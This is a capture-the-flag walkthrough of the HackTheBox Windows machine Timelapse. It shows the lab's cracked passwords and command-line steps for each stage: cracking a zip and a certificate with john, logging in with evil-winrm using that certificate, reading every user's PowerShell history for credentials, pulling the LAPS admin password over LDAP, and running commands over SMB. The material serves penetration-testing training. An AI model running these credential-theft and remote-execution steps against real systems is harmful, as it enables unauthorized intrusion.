Timelapse writeup & walkthrough

Timelapse is an easy HackTheBox Windows machine involving SMB share enumeration to find a password-protected zip containing a LAPS-related certificate used for WinRM authentication.

HTB: Timelapse

Access Path

no access => legacyy => svc_deploy => Administrator

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Walkthrough: https://youtu.be/DmP292z1Gks

Files & assets

Unauthenticated SMB enumeration lists the shares and usernames and yields a winrm-backup ZIP from a readable share.

# Provided:
# - no_auth_smb => shares + usernames => winrm.zip

Zip: extract john hash + crack

The ZIP is password-protected. We extract its hash with zip2john, crack it (supremelegacy), and unzip to recover a .pfx certificate file.

zip2john winrm.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john hash.txt --show
# cracked: supremelegacy
unzip -P 'supremelegacy' winrm.zip
# or: 7z x -p'supremelegacy' winrm.zip

PFX: extract john hash + crack

The .pfx is also encrypted. pfx2john plus a crack recovers its password (thuglegacy) for the user legacyy.

pfx2john legacy.pfx > pfx_hash
john --wordlist=/usr/share/wordlists/rockyou.txt pfx_hash
john pfx_hash --show
# legacyy: thuglegacy

PFX -> PEM for cert auth

certipy was a dead end, so we split the PFX into separate public/private PEM files with openssl and authenticate to WinRM over TLS using certificate auth (evil-winrm -k).

### Tryied certipy...dead end ###
certipy auth -pfx legacy.pfx -password thuglegacy -dc-ip $IP -username legacyy

openssl pkcs12 -in legaccy_dev_auth.pfx -out pub.pem -clcerts
openssl pkcs12 -in legaccy_dev_auth.pfx -out priv.pem -cacerts

# ensure WinRM reachable and port
nmap -p 5985,5986 -sV -Pn $IP
curl -v http://$IP:5985/wsman || curl -k -v https://$IP:5986/wsman

evil-winrm -i $ip $domain -c pub.pem -k priv.pem -S  

Credentials discovered & pivot

Enumerating Program Files shows LAPS is deployed. PowerShell console history leaks svc_deploy's password; svc_deploy can read the LAPS-managed local admin password over LDAP, which we then use over SMB to run commands as administrator.

# we enum in program files and see laps, we saw that at the beggining as well.
# users found via net users: sinfulz, babywyrm, svc_deploy
# We check the history and see svc_deploy with his pass
gc (Get-PSReadLineOption).HistorySavePath; type $Env:UserProfile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt; foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

# LAPS discovered via ldap module
nxc ldap $IP -u svc_deploy -p $pass -M laps

nxc smb $IP -u usernames.txt -p 'the pass we get from laps' -X 'whoami'